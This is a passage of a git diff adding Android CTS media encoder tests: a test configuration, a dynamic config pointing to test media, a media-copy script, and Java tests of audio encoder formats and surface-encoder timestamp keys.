+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.encoder.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 30 min -->
+        <option name="test-timeout" value="1800000" />
+        <option name="runtime-hint" value="4h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/encoder/DynamicConfig.xml b/tests/tests/media/encoder/DynamicConfig.xml
new file mode 100644
index 0000000..4dd9839
--- /dev/null
+++ b/tests/tests/media/encoder/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/encoder/CtsMediaEncoderTestCases-1.0.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/encoder/OWNERS b/tests/tests/media/encoder/OWNERS
new file mode 100644
index 0000000..ae8937e
--- /dev/null
+++ b/tests/tests/media/encoder/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+include platform/frameworks/av:/media/janitors/codec_OWNERS
diff --git a/tests/tests/media/encoder/copy_media.sh b/tests/tests/media/encoder/copy_media.sh
new file mode 100755
index 0000000..00904f2
--- /dev/null
+++ b/tests/tests/media/encoder/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "encoder" "CtsMediaEncoderTestCases-1.0"
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/EncoderTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/EncoderTest.java
new file mode 100644
index 0000000..a0a20c1
--- /dev/null
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/EncoderTest.java
@@ -0,0 +1,506 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.encoder.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaMuxer;
+import android.media.cts.Preconditions;
+import android.media.cts.TestArgs;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.BufferOverflowException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+@RunWith(Parameterized.class)
+public class EncoderTest {
+    private static final String TAG = "EncoderTest";
+    private static final boolean VERBOSE = false;
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    private static final int kNumInputBytes = 512 * 1024;
+    private static final long kTimeoutUs = 100;
+
+    // not all combinations are valid
+    private static final int MODE_SILENT = 0;
+    private static final int MODE_RANDOM = 1;
+    private static final int MODE_RESOURCE = 2;
+    private static final int MODE_QUIET = 4;
+    private static final int MODE_SILENTLEAD = 8;
+
+    /*
+     * Set this to true to save the encoding results to /data/local/tmp
+     * You will need to make /data/local/tmp writeable, run "setenforce 0",
+     * and remove files left from a previous run.
+     */
+    private static boolean sSaveResults = false;
+    static final Map<String, String> mDefaultEncoders = new HashMap<>();
+
+    private final String mEncoderName;
+    private final String mMime;
+    private final int[] mProfiles;
+    private final int[] mBitrates;
+    private final int[] mSampleRates;
+    private final int[] mChannelCounts;
+    private ArrayList<MediaFormat> mFormats;
+
+    static boolean isDefaultCodec(String codecName, String mime)
+            throws IOException {
+        if (mDefaultEncoders.containsKey(mime)) {
+            return mDefaultEncoders.get(mime).equalsIgnoreCase(codecName);
+        }
+        MediaCodec codec = MediaCodec.createEncoderByType(mime);
+        boolean isDefault = codec.getName().equalsIgnoreCase(codecName);
+        mDefaultEncoders.put(mime, codec.getName());
+        codec.release();
+        return isDefault;
+    }
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] componentNames = MediaUtils.getEncoderNamesForMime(mediaType);
+            for (String name : componentNames) {
+                if (TestArgs.shouldSkipCodec(name)) {
+                    continue;
+                }
+                Object[] testArgs = new Object[argLength + 1];
+                testArgs[0] = name;
+                System.arraycopy(arg, 0, testArgs, 1, argLength);
+                argsList.add(testArgs);
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // Audio - CodecMime, arrays of profiles, bit-rates, sample rates, channel counts
+                {MediaFormat.MIMETYPE_AUDIO_AAC, new int[]{2, 5, 39}, new int[]{64000, 128000},
+                        new int[]{8000, 11025, 22050, 44100, 48000}, new int[]{1, 2}},
+                {MediaFormat.MIMETYPE_AUDIO_OPUS, new int[]{-1}, new int[]{8000, 12000, 16000,
+                        24000, 48000}, new int[]{16000}, new int[]{1, 2}},
+                {MediaFormat.MIMETYPE_AUDIO_AMR_NB, new int[]{-1}, new int[]{4750, 5150, 5900, 6700
+                        , 7400, 7950, 10200, 12200}, new int[]{8000}, new int[]{1}},
+                {MediaFormat.MIMETYPE_AUDIO_AMR_WB, new int[]{-1}, new int[]{6600, 8850, 12650,
+                        14250, 15850, 18250, 19850, 23050, 23850}, new int[]{16000}, new int[]{1}},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    public EncoderTest(String encodername, String mime, int[] profiles, int[] bitrates,
+            int samplerates[], int channelcounts[]) {
+        mEncoderName = encodername;
+        mMime = mime;
+        mProfiles = profiles;
+        mBitrates = bitrates;
+        mSampleRates = samplerates;
+        mChannelCounts = channelcounts;
+    }
+
+    private void setUpFormats() {
+        mFormats = new ArrayList<MediaFormat>();
+        // TODO(b/218887182) Explore parameterizing based on the following loop params as well
+        for (int profile : mProfiles) {
+            for (int rate : mSampleRates) {
+                if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC) && profile == 5 && rate < 22050) {
+                    // Is this right? HE does not support sample rates < 22050Hz?
+                    continue;
+                }
+                for (int bitrate : mBitrates) {
+                    for (int channels : mChannelCounts) {
+                        MediaFormat format = new MediaFormat();
+                        format.setString(MediaFormat.KEY_MIME, mMime);
+                        format.setInteger(MediaFormat.KEY_SAMPLE_RATE, rate);
+                        format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, channels);
+                        format.setInteger(MediaFormat.KEY_AAC_PROFILE, profile);
+                        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+                        mFormats.add(format);
+                    }
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testEncoders() {
+        setUpFormats();
+        testEncoderWithFormats();
+    }
+
+    private void testEncoderWithFormatsParallel(String mime, ArrayList<MediaFormat> formats,
+            String componentName, int ThreadCount) {
+        int testsStarted = 0;
+        int totalDurationSeconds = 0;
+        ExecutorService pool = Executors.newFixedThreadPool(ThreadCount);
+
+        for (MediaFormat format : formats) {
+            assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
+            pool.execute(new EncoderRun(componentName, format));
+            int sampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+            int channelCount = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+            int bytesQueuedPerSecond = 2 * channelCount * sampleRate;
+            int durationSeconds =
+                    (kNumInputBytes + bytesQueuedPerSecond - 1) / bytesQueuedPerSecond;
+            totalDurationSeconds += durationSeconds * kNumEncoderTestsPerRun;
+            testsStarted++;
+        }
+        try {
+            pool.shutdown();
+            Log.i(TAG, "waiting up to " + totalDurationSeconds + " seconds for "
+                            + testsStarted + " sub-tests to finish");
+            assertTrue("timed out waiting for encoder threads",
+                    pool.awaitTermination(totalDurationSeconds, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            fail("interrupted while waiting for encoder threads");
+        }
+    }
+
+    private void testEncoderWithFormats() {
+        for (MediaFormat fmt : mFormats) {
+            if (!MediaUtils.supports(mEncoderName, fmt)) {
+                MediaUtils.skipTest("no encoders found for " + fmt.toString());
+                return;
+            }
+        }
+        final int ThreadPoolCount = 3;
+        int instances = ThreadPoolCount;
+        MediaCodec codec = null;
+        try {
+            codec = MediaCodec.createByCodecName(mEncoderName);
+            MediaCodecInfo info = codec.getCodecInfo();
+            MediaCodecInfo.CodecCapabilities cap = info.getCapabilitiesForType(mMime);
+            instances = Math.min(cap.getMaxSupportedInstances(), instances);
+            assertTrue(instances >= 1);
+        } catch (Exception e) {
+            fail("codec '" + mEncoderName + "' failed construction.");
+        } finally {
+            codec.release();
+        }
+        testEncoderWithFormatsParallel(mMime, mFormats, mEncoderName, instances);
+    }
+
+    // See bug 25843966
+    private static long[] mBadSeeds = {
+            101833462733980l, // fail @ 23680 in all-random mode
+            273262699095706l, // fail @ 58880 in all-random mode
+            137295510492957l, // fail @ 35840 in zero-lead mode
+            57821391502855l,  // fail @ 32000 in zero-lead mode
+    };
+
+    private int queueInputBuffer(
+            MediaCodec codec, ByteBuffer[] inputBuffers, int index,
+            InputStream istream, int mode, long timeUs, Random random) {
+        ByteBuffer buffer = inputBuffers[index];
+        buffer.rewind();
+        int size = buffer.limit();
+
+        if ((mode & MODE_RESOURCE) != 0 && istream != null) {
+            while (buffer.hasRemaining()) {
+                try {
+                    int next = istream.read();
+                    if (next < 0) {
+                        break;
+                    }
+                    buffer.put((byte) next);
+                } catch (Exception ex) {
+                    Log.i(TAG, "caught exception writing: " + ex);
+                    break;
+                }
+            }
+        } else if ((mode & MODE_RANDOM) != 0) {
+            if ((mode & MODE_SILENTLEAD) != 0) {
+                buffer.putInt(0);
+                buffer.putInt(0);
+                buffer.putInt(0);
+                buffer.putInt(0);
+            }
+            while (true) {
+                try {
+                    int next = random.nextInt();
+                    buffer.putInt(random.nextInt());
+                } catch (BufferOverflowException ex) {
+                    break;
+                }
+            }
+        } else {
+            byte[] zeroes = new byte[size];
+            buffer.put(zeroes);
+        }
+
+        if ((mode & MODE_QUIET) != 0) {
+            int n = buffer.limit();
+            for (int i = 0; i < n; i += 2) {
+                short s = buffer.getShort(i);
+                s /= 8;
+                buffer.putShort(i, s);
+            }
+        }
+
+        codec.queueInputBuffer(index, 0 /* offset */, size, timeUs, 0 /* flags */);
+
+        return size;
+    }
+
+    private void dequeueOutputBuffer(
+            MediaCodec codec, ByteBuffer[] outputBuffers,
+            int index, MediaCodec.BufferInfo info) {
+        codec.releaseOutputBuffer(index, false /* render */);
+    }
+
+    class EncoderRun implements Runnable {
+        String mComponentName;
+        MediaFormat mFormat;
+
+        EncoderRun(String componentName, MediaFormat format) {
+            mComponentName = componentName;
+            mFormat = format;
+        }
+        @Override
+        public void run() {
+            try {
+                testEncoder(mComponentName, mFormat);
+            } catch (FileNotFoundException e) {
+                e.printStackTrace();
+                fail("Received exception " + e);
+            }
+        }
+    }
+
+    // Number of tests called in testEncoder(String componentName, MediaFormat format)
+    private static int kNumEncoderTestsPerRun = 5 + mBadSeeds.length * 2;
+    private void testEncoder(String componentName, MediaFormat format)
+            throws FileNotFoundException {
+        Log.i(TAG, "testEncoder " + componentName + "/" + format);
+        // test with all zeroes/silence
+        testEncoder(componentName, format, 0, null, MODE_SILENT);
+
+        // test with pcm input file
+        testEncoder(componentName, format, 0, "okgoogle123_good.wav", MODE_RESOURCE);
+        testEncoder(componentName, format, 0, "okgoogle123_good.wav", MODE_RESOURCE | MODE_QUIET);
+        testEncoder(componentName, format, 0, "tones.wav", MODE_RESOURCE);
+        testEncoder(componentName, format, 0, "tones.wav", MODE_RESOURCE | MODE_QUIET);
+
+        // test with random data, with and without a few leading zeroes
+        for (int i = 0; i < mBadSeeds.length; i++) {
+            testEncoder(componentName, format, mBadSeeds[i], null, MODE_RANDOM);
+            testEncoder(componentName, format, mBadSeeds[i], null, MODE_RANDOM | MODE_SILENTLEAD);
+        }
+    }
+
+    private void testEncoder(String componentName, MediaFormat format,
+            long startSeed, final String res, int mode) throws FileNotFoundException {
+
+        Log.i(TAG, "testEncoder " + componentName + "/" + mode + "/" + format);
+        int sampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+        int channelCount = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+        int inBitrate = sampleRate * channelCount * 16;  // bit/sec
+        int outBitrate = format.getInteger(MediaFormat.KEY_BIT_RATE);
+
+        MediaMuxer muxer = null;
+        int muxidx = -1;
+        if (sSaveResults) {
+            try {
+                String outFile = "/data/local/tmp/transcoded-" + componentName +
+                        "-" + sampleRate + "Hz-" + channelCount + "ch-" + outBitrate +
+                        "bps-" + mode + "-" + res + "-" + startSeed + "-" +
+                        (android.os.Process.is64Bit() ? "64bit" : "32bit") + ".mp4";
+                new File(outFile).delete();
+                muxer = new MediaMuxer(outFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+                // The track can't be added until we have the codec specific data
+            } catch (Exception e) {
+                Log.i(TAG, "couldn't create muxer: " + e);
+            }
+        }
+
+        InputStream istream = null;
+        if ((mode & MODE_RESOURCE) != 0) {
+            Preconditions.assertTestFileExists(mInpPrefix + res);
+            istream = new FileInputStream(mInpPrefix + res);
+        }
+
+        Random random = new Random(startSeed);
+        MediaCodec codec;
+        try {
+            codec = MediaCodec.createByCodecName(componentName);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            MediaCodecInfo codecInfo = codec.getCodecInfo();
+            MediaCodecInfo.CodecCapabilities caps = codecInfo.getCapabilitiesForType(mime);
+            if (!caps.isFormatSupported(format)) {
+                codec.release();
+                codec = null;
+                assertFalse(
+                    "Default codec doesn't support " + format.toString(),
+                    isDefaultCodec(componentName, mime));
+                MediaUtils.skipTest(componentName + " doesn't support " + format.toString());
+                return;
+            }
+        } catch (Exception e) {
+            fail("codec '" + componentName + "' failed construction.");
+            return; /* does not get here, but avoids warning */
+        }
+        try {
+            codec.configure(
+                    format,
+                    null /* surface */,
+                    null /* crypto */,
+                    MediaCodec.CONFIGURE_FLAG_ENCODE);
+        } catch (IllegalStateException e) {
+            fail("codec '" + componentName + "' failed configuration.");
+        }
+
+        codec.start();
+        ByteBuffer[] codecInputBuffers = codec.getInputBuffers();
+        ByteBuffer[] codecOutputBuffers = codec.getOutputBuffers();
+
+        int numBytesSubmitted = 0;
+        boolean doneSubmittingInput = false;
+        int numBytesDequeued = 0;
+
+        while (true) {
+            int index;
+
+            if (!doneSubmittingInput) {
+                index = codec.dequeueInputBuffer(kTimeoutUs /* timeoutUs */);
+
+                if (index != MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    long timeUs =
+                            (long)numBytesSubmitted * 1000000 / (2 * channelCount * sampleRate);
+                    if (numBytesSubmitted >= kNumInputBytes) {
+                        codec.queueInputBuffer(
+                                index,
+                                0 /* offset */,
+                                0 /* size */,
+                                timeUs,
+                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+
+                        if (VERBOSE) {
+                            Log.d(TAG, "queued input EOS.");
+                        }
+
+                        doneSubmittingInput = true;
+                    } else {
+                        int size = queueInputBuffer(
+                                codec, codecInputBuffers, index, istream, mode, timeUs, random);
+
+                        numBytesSubmitted += size;
+
+                        if (VERBOSE) {
+                            Log.d(TAG, "queued " + size + " bytes of input data.");
+                        }
+                    }
+                }
+            }
+
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            index = codec.dequeueOutputBuffer(info, kTimeoutUs /* timeoutUs */);
+
+            if (index == MediaCodec.INFO_TRY_AGAIN_LATER) {
+            } else if (index == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+            } else if (index == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+            } else {
+                if (muxer != null) {
+                    ByteBuffer buffer = codec.getOutputBuffer(index);
+                    if (muxidx < 0) {
+                        MediaFormat trackFormat = codec.getOutputFormat();
+                        muxidx = muxer.addTrack(trackFormat);
+                        muxer.start();
+                    }
+                    muxer.writeSampleData(muxidx, buffer, info);
+                }
+
+                dequeueOutputBuffer(codec, codecOutputBuffers, index, info);
+
+                numBytesDequeued += info.size;
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    if (VERBOSE) {
+                        Log.d(TAG, "dequeued output EOS.");
+                    }
+                    break;
+                }
+
+                if (VERBOSE) {
+                    Log.d(TAG, "dequeued " + info.size + " bytes of output data.");
+                }
+            }
+        }
+
+        if (VERBOSE) {
+            Log.d(TAG, "queued a total of " + numBytesSubmitted + "bytes, "
+                    + "dequeued " + numBytesDequeued + " bytes.");
+        }
+
+        float desiredRatio = (float)outBitrate / (float)inBitrate;
+        float actualRatio = (float)numBytesDequeued / (float)numBytesSubmitted;
+
+        if (actualRatio < 0.9 * desiredRatio || actualRatio > 1.1 * desiredRatio) {
+            Log.w(TAG, "desiredRatio = " + desiredRatio
+                    + ", actualRatio = " + actualRatio);
+        }
+
+        codec.release();
+        codec = null;
+        if (muxer != null) {
+            muxer.stop();
+            muxer.release();
+            muxer = null;
+        }
+    }
+}
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
new file mode 100644
index 0000000..c4e76f0
--- /dev/null
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
@@ -0,0 +1,518 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.encoder.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaFormat;
+import android.media.cts.InputSurface;
+import android.media.cts.TestArgs;
+import android.opengl.GLES20;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+import java.util.function.Supplier;
+
+@Presubmit
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@SmallTest
+@RequiresDevice
+public class SurfaceEncodeTimestampTest extends AndroidTestCase {
+    private static final String TAG = SurfaceEncodeTimestampTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final Color COLOR_BLOCK =
+            Color.valueOf(1.0f, 1.0f, 1.0f);
+    private static final Color[] COLOR_BARS = {
+            Color.valueOf(0.0f, 0.0f, 0.0f),
+            Color.valueOf(0.0f, 0.0f, 0.64f),
+            Color.valueOf(0.0f, 0.64f, 0.0f),
+            Color.valueOf(0.0f, 0.64f, 0.64f),
+            Color.valueOf(0.64f, 0.0f, 0.0f),
+            Color.valueOf(0.64f, 0.0f, 0.64f),
+            Color.valueOf(0.64f, 0.64f, 0.0f),
+    };
+    private static final int BORDER_WIDTH = 16;
+    private static final int OUTPUT_FRAME_RATE = 30;
+
+    private static final String MEDIA_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+
+    private Handler mHandler;
+    private HandlerThread mHandlerThread;
+    private MediaCodec mEncoder;
+    private InputSurface mInputEglSurface;
+    private int mInputCount;
+
+    @Before
+    public void shouldSkip() {
+        if (TestArgs.shouldSkipMediaType(MEDIA_TYPE)) {
+            MediaUtils.skipTest(TAG, "Test should run only for video components");
+        }
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        if (mHandlerThread == null) {
+            mHandlerThread = new HandlerThread(
+                    "EncoderThread", Process.THREAD_PRIORITY_FOREGROUND);
+            mHandlerThread.start();
+            mHandler = new Handler(mHandlerThread.getLooper());
+        }
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mHandler = null;
+        if (mHandlerThread != null) {
+            mHandlerThread.quit();
+            mHandlerThread = null;
+        }
+    }
+
+    /*
+     * Test KEY_MAX_PTS_GAP_TO_ENCODER
+     *
+     * This key is supposed to cap the gap between any two frames fed to the encoder,
+     * and restore the output pts back to the original. Since the pts is not supposed
+     * to be modified, we can't really verify that the "capping" actually took place.
+     * However, we can at least verify that the pts is preserved.
+     */
+    public void testMaxPtsGap() throws Throwable {
+        long[] inputPts = {1000000, 2000000, 3000000, 4000000};
+        long[] expectedOutputPts = {1000000, 2000000, 3000000, 4000000};
+        doTest(inputPts, expectedOutputPts, (format) -> {
+            format.setLong(MediaFormat.KEY_MAX_PTS_GAP_TO_ENCODER, 33333);
+        });
+    }
+
+    /*
+     * Test that by default backward-going frames get dropped.
+     */
+    public void testBackwardFrameDroppedWithoutFixedPtsGap() throws Throwable {
+        long[] inputPts = {33333, 66667, 66000, 100000};
+        long[] expectedOutputPts = {33333, 66667, 100000};
+        doTest(inputPts, expectedOutputPts, null);
+    }
+
+    /*
+     * Test KEY_MAX_PTS_GAP_TO_ENCODER
+     *
+     * Test that when fixed pts gap is used, backward-going frames are accepted
+     * and the pts is preserved.
+     */
+    public void testBackwardFramePreservedWithFixedPtsGap() throws Throwable {
+        long[] inputPts = {33333, 66667, 66000, 100000};
+        long[] expectedOutputPts = {33333, 66667, 66000, 100000};
+        doTest(inputPts, expectedOutputPts, (format) -> {
+            format.setLong(MediaFormat.KEY_MAX_PTS_GAP_TO_ENCODER, -33333);
+        });
+    }
+
+    /*
+     * Test KEY_MAX_FPS_TO_ENCODER
+     *
+     * Input frames are timestamped at 60fps, the key is supposed to drop
+     * one every other frame to maintain 30fps output.
+     */
+    public void testMaxFps() throws Throwable {
+        long[] inputPts = {16667, 33333, 50000, 66667, 83333};
+        long[] expectedOutputPts = {16667, 50000, 83333};
+        doTest(inputPts, expectedOutputPts, (format) -> {
+            format.setFloat(MediaFormat.KEY_MAX_FPS_TO_ENCODER, 30.0f);
+        });
+    }
+
+    /*
+     * Test KEY_CAPTURE_RATE
+     *
+     * Input frames are timestamped at various capture fps to simulate slow-motion
+     * or timelapse recording scenarios. The key is supposed to adjust (stretch or
+     * compress) the output timestamp so that the output fps becomes that specified
+     * by  KEY_FRAME_RATE.
+     */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    public void testCaptureFps() throws Throwable {
+        // test slow motion
+        testCaptureFps(120, false /*useFloatKey*/);
+        testCaptureFps(240, true /*useFloatKey*/);
+
+        // test timelapse
+        testCaptureFps(1, false /*useFloatKey*/);
+    }
+
+    private void testCaptureFps(int captureFps, final boolean useFloatKey) throws Throwable {
+        long[] inputPts = new long[4];
+        long[] expectedOutputPts = new long[4];
+        final long bastPts = 1000000;
+        for (int i = 0; i < inputPts.length; i++) {
+            inputPts[i] = bastPts + (int)(i * 1000000.0f / captureFps + 0.5f);
+            expectedOutputPts[i] = inputPts[i] * captureFps / OUTPUT_FRAME_RATE;
+        }
+
+        doTest(inputPts, expectedOutputPts, (format) -> {
+            if (useFloatKey) {
+                format.setFloat(MediaFormat.KEY_CAPTURE_RATE, captureFps);
+            } else {
+                format.setInteger(MediaFormat.KEY_CAPTURE_RATE, captureFps);
+            }
+        });
+    }
+
+    /*
+     * Test KEY_REPEAT_PREVIOUS_FRAME_AFTER
+     *
+     * Test that the frame is repeated at least once if no new frame arrives after
+     * the specified amount of time.
+     */
+    public void testRepeatPreviousFrameAfter() throws Throwable {
+        long[] inputPts = {16667, 33333, -100000, 133333};
+        long[] expectedOutputPts = {16667, 33333, 103333};
+        doTest(inputPts, expectedOutputPts, (format) -> {
+            format.setLong(MediaFormat.KEY_REPEAT_PREVIOUS_FRAME_AFTER, 70000);
+        });
+    }
+
+    /*
+     * Test KEY_CREATE_INPUT_SURFACE_SUSPENDED and PARAMETER_KEY_SUSPEND
+     *
+     * Start the encoder with KEY_CREATE_INPUT_SURFACE_SUSPENDED set, then resume
+     * by PARAMETER_KEY_SUSPEND. Verify only frames after resume are captured.
+     */
+    public void testCreateInputSurfaceSuspendedResume() throws Throwable {
+        // Using PARAMETER_KEY_SUSPEND (instead of PARAMETER_KEY_SUSPEND +
+        // PARAMETER_KEY_SUSPEND_TIME) to resume doesn't enforce a time
+        // for the action to take effect. Due to the asynchronous operation
+        // between the MediaCodec's parameters and the input surface, frames
+        // rendered before the resume call may reach encoder input side after
+        // the resume. Here we do a slight wait (100000us) to make sure that
+        // the resume only takes effect on the frame with timestamp 100000.
+        long[] inputPts = {33333, 66667, -100000, 100000, 133333};
+        long[] expectedOutputPts = {100000, 133333};
+        doTest(inputPts, expectedOutputPts, (format) -> {
+            format.setInteger(MediaFormat.KEY_CREATE_INPUT_SURFACE_SUSPENDED, 1);
+        }, () -> {
+            Bundle params = new Bundle();
+            params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
+            return params;
+        });
+    }
+
+    /*
+     * Test KEY_CREATE_INPUT_SURFACE_SUSPENDED,
+     * PARAMETER_KEY_SUSPEND and PARAMETER_KEY_SUSPEND_TIME
+     *
+     * Start the encoder with KEY_CREATE_INPUT_SURFACE_SUSPENDED set, then request resume
+     * at specific time using PARAMETER_KEY_SUSPEND + PARAMETER_KEY_SUSPEND_TIME.
+     * Verify only frames after the specified time are captured.
+     */
+     public void testCreateInputSurfaceSuspendedResumeWithTime() throws Throwable {
+         // Unlike using PARAMETER_KEY_SUSPEND alone to resume, using PARAMETER_KEY_SUSPEND
+         // + PARAMETER_KEY_SUSPEND_TIME to resume can be scheduled any time before the
+         // frame with the specified time arrives. Here we do it immediately after start.
+         long[] inputPts = {-1, 33333, 66667, 100000, 133333};
+         long[] expectedOutputPts = {100000, 133333};
+         doTest(inputPts, expectedOutputPts, (format) -> {
+             format.setInteger(MediaFormat.KEY_CREATE_INPUT_SURFACE_SUSPENDED, 1);
+         }, () -> {
+             Bundle params = new Bundle();
+             params.putInt(MediaCodec.PARAMETER_KEY_SUSPEND, 0);
+             params.putLong(MediaCodec.PARAMETER_KEY_SUSPEND_TIME, 100000);
+             return params;
+         });
+    }
+
+     /*
+      * Test PARAMETER_KEY_SUSPEND.
+      *
+      * Suspend/resume during capture, and verify that frames during the suspension
+      * period are dropped.
+      */
+    public void testSuspendedResume() throws Throwable {
+        // Using PARAMETER_KEY_SUSPEND (instead of PARAMETER_KEY_SUSPEND +
+        // PARAMETER_KEY_SUSPEND_TIME) to suspend/resume doesn't enforce a time
+        // for the action to take effect. Due to the asynchronous operation
+        // between the MediaCodec's parameters and the input surface, frames
